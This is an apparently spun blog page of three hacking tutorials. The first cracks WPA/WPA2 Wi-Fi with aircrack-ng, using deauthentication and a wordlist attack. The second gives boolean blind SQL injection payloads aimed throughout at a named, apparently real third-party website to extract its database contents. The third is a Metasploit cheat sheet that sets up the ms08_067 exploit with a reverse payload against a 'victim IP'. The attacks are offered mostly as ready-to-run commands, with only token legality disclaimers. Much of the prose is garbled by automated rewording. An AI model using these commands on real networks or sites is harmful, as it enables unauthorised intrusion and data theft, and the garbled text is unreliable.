Hack WPA/WPA2 Wi-Fi With Kali Linux & Aircrack-ng (noob friendly) - By Paid Hackers

15:19
hack wifi using kali linux


          Kali Linux can be utilized for many things, however it likely is best known for its capacity to penetration test, or "hack," WPA and WPA2 systems. There are many Windows applications that claim they can hack WPA; don't get them! They're just tricks, utilized by expert programmers, to bait beginner or wannabe programmers into getting hacked themselves. There is stand out way that programmers get into your system, and that is with a Linux-based OS, a remote card equipped for screen mode, and aircrack-ng or comparative. Likewise take note of that, even with these hacking tools, Wi-Fi hacking is not for begginers or for noobs. Playing with it obliges fundamental information of how WPA authentication functions, and moderate commonality with Kali Linux and its devices, so any programmer who obtains entrance to your system likely is no learner! 

These are things that you'll require:
  • A successful install of Kali Linux (which you probably already have done). If not, follow the tutorial here:  installing kali linux
  • A wireless adapter capable of monitor mode.
  • A wordlist to try and “crack” the handshake password once it has been captured
  • Time and patients
In the event that you have these then move up your sleeves and we should perceive how secure your wifi network is! 

Essential notification: Hacking into anybody's Wi-Fi without consent is viewed as an unlawful demonstration or wrongdoing in many nations. We are performing this excercise for the purpose of penetration testing, hacking to wind up more secure, and are utilizing our own test network and router.



Step 1:


Start Kali Linux and login as a root.

kali linux hacking wifi login to kali linux

Step 2:

Plugin your monitor mode wireless adapter, (Unless your computer card supports it). If you’re using Kali in VMware, then you might have to connect the card via the vmware kali linux wifi adaptor settings for hacking wifiicon in the device menu.
Step 3:

Disconnect from all wireless networks, open up a Terminal, and type airmon-ng
(if you are not logged in using root then type "sudo airmon-ng, then just give username and password being asked and then you will be able to use that terminal as a root user)

kali linux airmon-ng for hacking wifi

This will list the majority of the remote cards that supports monitor mode. On the off chance that no cards are listed, have a go at detaching and reconnecting the card and watch that it supports monitor  mode. You can check if the card backings monitor mode by writing ifconfig in another terminal, if the card is listed in ifconfig, however doesn't appear in airmon-ng, then the card doesn't supports it. 

You can see here that the card supports monitor mode and that its recorded as wlan0.


Step 4:

Type airmon-ng start followed by the interface of your wireless card. In this tutorial , the name is wlan0, so the command would be: airmon-ng start wlan0

airmon-ng start for hacking wifi using kali linux

The “(monitor mode enabled)” message means that the card has successfully been put into monitor mode. Note the name of the new monitor interface, mon0.

EDIT:A bug recently discovered in Kali Linux makes airmon-ng set the channel as a fixed “-1” when you first enable mon0. If you receive this error, or simply do not want to take the chance, follow these steps after enabling mon0:
Type: ifconfig [interface of wireless card] down and hit Enter.
Replace [interface of wireless card] with the name of the interface that you enabled mon0 on; probably called wlan0. This disables the wireless card from connecting to the internet, allowing it to focus on monitor mode instead.
After you have disabled mon0 (completed the wireless section of the tutorial), you’ll need to enable wlan0 (or name of wireless interface), by typing: ifconfig [interface of wireless card] up and pressing Enter.


Step 5:

Type airodump-ng followed by the name of the new monitor interface, which is mon0.

airodump-ng mon0 for hacking wifi using kali linux

If you receive a “fixed channel –1” error, see the Edit above.

Step 6:

Airodump command  will now list all of the wireless networks in your location or area, and the useful information about them. Locate your network or the network that you have permission to penetration test. Once you’ve found your network on the list, hit Ctrl + Con your keyboard to stop the process. Note down the channel of your target network on leafpad or on any paper.


list of networks on aircrack for hacking wifi using kali linux

Step 7:

Note down the BSSID of the target network

copy down the bssid of the wifi for hacking wifi using kali linux
Now type this command: 

airodump-ng -c [channel] --bssid [bssid] -w /root/Desktop/ [monitor interface]

Replace [channel] with the channel of your target network. Paste the network BSSID where [bssid] is, and replace [monitor interface] with the name of your monitor-enabled interface, (mon0).

A complete command should look like this in this tutorial case: 

airodump-ng -c 10 --bssid 00:14:BF:E0:E8:D5 -w /root/Desktop/ mon0

airodump ng command for hacking wifi using kali linux

Now press enter.

Step 8:

Airodump with now monitor only the target network which you selected, allowing you to capture more specific information about it. What we’re really doing now is waiting for a device to connect or reconnect to the network, forcing the router to send out the four-way handshake that we need to capture in order to crack the password of wifi using kali linux.
Also, four files should show up on your desktop, this is where the handshake will be saved when captured, so don’t delete them!
However, we're not by any means going to sit tight for a gadget to join, no, that is not what eager hacker do. We're really going to utilize another cool-device that has a place with the aircrack suite called aireplay-ng, to accelerate the procedure. As opposed to sitting tight for a gadget to hack, hackers utilize this device to drive a device to reconnect by sending deauthentication (deauth) packets to the device, making it surmise that it needs to reconnect with the router. 

Obviously, all together for this apparatus to work, there must be another person joined with the system first and foremost, so watch the airodump-ng and sit tight for a customer to appear. It may take quite a while, or it may just take a second prior to the first shows. On the off chance that none appear after a long hold up, then the system may be discharge at this time, or you're to far from the network.


You can see in this picture, that a client has appeared on our network, allowing us to start the next step.
using airplay ng to hack wifi using kali linux

Step 9:

leave airodump-ng running and open a second terminal. In this terminal, type this command:
aireplay-ng –0 2 –a [router bssid] –c [client bssid] mon0

The –0 is a short cut for the deauth mode and the 2 is the number of deauth packets to send.
-a indicates the access point (router)’s bssid, replace [router bssid] with the BSSID of the target network, which in my case, is 00:14:BF:E0:E8:D5.
-c indicates the clients BSSID, noted in the previous picture. Replace the [client bssid] with the BSSID of the connected client, this will be listed under “STATION.”
And of course, mon0 merely means the monitor interface, change it if yours is different.
My complete command looks like this:
aireplay-ng –0 2 –a 00:14:BF:E0:E8:D5 –c 4C:EB:42:59:DE:31 mon0

airplay ng full command to hack wifi using kali linux

Step 10:

Upon hitting Enter, you’ll see aireplay-ng send the packets, and within moments, you should see this message appear on the airodump-ng screen!

wpa handshake to hack a wifi using kali linux
wpa handshack from a user  to hack a wifi using kali linux

This means that the handshake has been captured, the password is in the hacker’s hands, in some form or another. You can close the aireplay-ng terminal and hit Ctrl + C on the airodump-ng terminal to stop monitoring the network, but don’t close it yet just incase you need some of the information later.

Step 11:

This concludes the external part of this tutorial. From now on, the process is entirely between your computer, and those four files on your Desktop. Actually, the .cap one, that is important. Open a new Terminal, and type in this command: 

aircrack-ng -a2 -b [router bssid] -w [path to wordlist] /root/Desktop/*.cap

-a is the method aircrack will use to crack the handshake, 2=WPA method.
-b stands for bssid, replace [router bssid] with the BSSID of the target router, mine is 00:14:BF:E0:E8:D5.
-w stands for wordlist, replace [path to wordlist] with the path to a wordlist that you have downloaded. I have a wordlist called “wpa.txt” in the root folder.
/root/Desktop/*.cap is the path to the .cap file containing the password, the * means wild card in Linux, and since I’m assuming that there are no other .cap files on your Desktop, this should work fine the way it is.
My complete command looks like this:
aircrack-ng –a2 –b 00:14:BF:E0:E8:D5 –w /root/wpa.txt  /root/Desktop/*.cap

cracking password to hack a wifi using kali linux

Now press Enter.

Step 12:

Aircrack-ng will now launch into the procedure of cracking the password. Notwithstanding, it will just hack it if the password happens to be in the wordlist that you've chosen. Infrequently, its most certainly not. In the event that this is the situation, then you can praise the proprietor on being "Impervious," obviously, strictly when you've attempted each wordlist that a hackerr may utilize or make! 

hacking the password may take quite a while relying upon the extent of the wordlist. Our went rapidly.


If the phrase is in the wordlist, then aircrack-ng will show it too you like this:

hacked wifi password using kali linux

The passphrase to our test-network was “notsecure,” and you can see here that aircrack found it.

If you find the password without a decent struggle, then change your password, if it’s your network. If you’re penetration testing for someone, then tell them to change their password as soon as possible.
                                                   Sincerely Paid hackers
Hack WPA/WPA2 Wi-Fi With Kali Linux & Aircrack-ng (noob friendly) - By Paid Hackers Hack WPA/WPA2 Wi-Fi With Kali Linux & Aircrack-ng (noob friendly) - By Paid Hackers Reviewed by amit on 15:19 Rating: 5

Boolean Based Blind Injection for sql injection - By Paid Hackers

18:34
boolean based blind sql injection


Introduction

So a lot of people view bling injection as having to guess everything, when it's called blind injection because no data is visible on the page as an outcome.

Remember, whenever you're injecting a site, as long as information_schema exists (version 5 or more), then you can use it to get data out of a page. This includes table names, database names, columns, and all the rest..


Here's a quick tutorial on getting data using blind injection for versions 5 or above, without guessing the outcome.



we'll be using this site as an example.

Getting The Version


Code:

http://cathedralhillpress.com/book.php?id=1


Let's start by getting the version, to see if we can use substring() to get data out of information_schema.


Code:

http://cathedralhillpress.com/book.php?id=1 and substring(version(),1,1)=5


It loads fine, now let's replace the 5 with a 4 to double check.


Code:

http://cathedralhillpress.com/book.php?id=1 and substring(version(),1,1)=4


As you can see, the page has a huge chunk of text and pictures missing off of the page.

Getting The Table Names

Now let's get the first character, of the first table name out of our database.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),1,1))>0


The page loaded fine, so we know our first characters' ascii value is more then 0.

So we increment 0 until we get around the area it will be in.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),1,1))>75


We know it's more then 75, so let's go up a little bit more.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),1,1))>80


Now we get our error, so let's go down, and change more then, to equals to get the exact value.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),1,1))=76


We get our error, so let's go up.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),1,1))=77


Another error, let's go up again.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),1,1))=78


And now it loads fine, so let's check the ascii value for 78.

You can check that here, by looking at the ASCII table.
ASCII Table

78 comes back to "N".

Now we know our first letter is N, so let's get the next letter by incrementing the 1, to a 2, in our substring() statement.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),2,1))>100


We know it's more then 100, so let's go up to 101 now.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),2,1))>101


We get our error. If the returned value is greater then 100, but not greater then 101, then it has to be 101. It's common sense.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),2,1))=101


And it loads fine...Now convert the ascii value of 101 to text. It comes back to "e".

So far we have "Ne"

Now you can either keep getting the returned values, or try and guess the table name. It looks like News, so let's get our next character and guess.

The ascii value of "w" is 119, so let's see if it comes out positive.



Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),3,1))=119


It loads fine, so now we have "New".

Lets check the last one...

The value of "s" is 115, so let's guess again.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),4,1))=115


Now we have our "News" table, but how do we know if there's more characters or not? We can check if the 5th letter's ascii value is > 0, and if it's not, it doesn't exist. So let's check.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),5,1))>0


And the page loads with an error.

Getting The Column Names

Getting the columns is fairly similar to getting the table names, you just add a where clause, and convert your table name to HEX/ASCII characters.

Let's see if our table even has columns first.


Code:

cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+0,1),1,1))>0


Page loads fine, so we have a first character that's value is more then 0. Now let's get the column name.


Code:

cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+0,1),1,1))>100


No errors, let's go up.


Code:

cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+0,1),1,1))>105


Error, it's between 100 and 105.


Code:

cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+0,1),1,1))=105


Loads fine, the value of 105 is "i".

Then we repeat the process, until we get our next character.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+0,1),2,1))>95


No error, let's try 100.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+0,1),2,1))>100


Error, let's see if it = 100.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+0,1),2,1))=100


No error, so now we have "id". Theres your first column, to get the next one, you'd just increase the limit and start over on your substring() statement.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+1,1),1,1))>0


Getting Data Out Of Columns

It's the same process, except we put our column names in a concat statement, FROM the TABLENAME.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),1,1))>0


So let's get our first character..


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),1,1))>45


No error, let's go up.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),1,1))>50


Error, go back down until you find the right one.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),1,1))=49


Loads fine, and the ascii value of 49 comes back to "1".

Now let's check if there's a second character..


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),2,1))>0


We get an error, so that was all that was our first result.

Conclusion

As you can see, "Blind Injection" doesn't really have to do with guessing, as long as your site has information_schema. The correct term is actually "Boolean Based Blind Injection", which makes sense. A Boolean returns a value of true/false, which is what we just went over.

                                         Sincerely Paid hackers
Boolean Based Blind Injection for sql injection - By Paid Hackers Boolean Based Blind Injection for sql injection  - By Paid Hackers Reviewed by amit on 18:34 Rating: 5

Metasploit commands for basic usage - By Paid Hackers

16:05
metasploit-basic-commands

There are numerous new client of metasploit (begginers of metasploit) request that utilization compose an essential initial article about the fundamental metasploit commands and fundamental use of metasploit, then again we have imparted diverse development and mid level metasploit excercise on backtrack 5 you can take in distinctive orders from these excercises however here is the rundown of the best and most normal charges that are utilized as a part of metasploit for distinctive purposes. Later on we will impart meterpreter orders also.



Metasploit is the database of all exploits and a tool that contain data about diverse exploits so here is the fundamental use of metasploit,  we are utilizing backtrack 5 machine for this excercise however in the event that you are utilizing other Linux distribution or windows OS than it is fine yet the necessity is Metasploit.

  1. Msfconsole
Msfconsole is a console or a command windows of metasploit that will issue you the full backing of inner and outside metasploit charges, there was a web interface of metasploit however now we don't have that choice. 

So on your terminal type msfconsole to begin metasploit console.
  • root@bt:~# msfconsole
Metasploit is also available on GUI (graphical user interface), if you want to run metasploit GUI than on the terminal type.


root@bt:~# msfgui


Help command of metasploit will give you the basic idea about the usage of metasploit, if you are looking for msfconsole help than from the root windows type

root@bt:~# msfconsole -h


For msfconsole usage you need to be on msfconsole window to get the help.

msf > help

Connect command is nothing but the alternate of telnet and ncat in metasploit, use connect command to connect with the remote and local host on metasploit you can define the IP of the host machine.



msf > connect -s www.metasploit.com 443
[*] Connected to www.metasploit.com:443
GET / HTTP/1.0
-s → SSL



Ping command of msfconsole is to check the alive host and so on.

msf > ping 192.168.1.45

Show exploits is a command to check all the available exploits on metasploit

msf > show exploits

Show payloads just like show exploits, show payloads will show you all the available payloads on metasploit.

msf > show payloads


Info command will give you more information about any exploits and payloads.

Msf>info <exploit>
msf>info <payload>


Use command will give metasploit an instruction to use a exploit or payload.

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >

msf exploit(ms08_067_netapi) > show options    →   To show available options
msf exploit(ms08_067_netapi) > set rhost 119.67.45.2 → To set remote IP (victim IP)
msf exploit(ms08_067_netapi) > set lhost 192.168.1.45 → To set local IP (attacker IP)
msf exploit(ms08_067_netapi) > set rport 445 → To set port number of remote host
msf exploit(ms08_067_netapi) > set lport 443 → To set port number of local host
msf exploit(ms08_067_netapi) > set payload windows/vncinject/reverse_tcp_dns → Tp set payload

msf exploit(ms08_067_netapi) > unset rhost → To remove rhost
msf exploit(ms08_067_netapi) > unset lhost → To remove local host
msf exploit(ms08_067_netapi) > exploit → To execute exploit
msf exploit(ms08_067_netapi) > back → To go back on the main window
msf exploit(ms08_067_netapi) > sessions -l → To check any active session
msf exploit(ms08_067_netapi) > sessions -i ID → To go on a active session ID must be numeric number
                                                            Sincerely Paid Hackers

                             
Metasploit commands for basic usage - By Paid Hackers Metasploit commands for basic usage - By Paid Hackers Reviewed by amit on 16:05 Rating: 5
Powered by Blogger.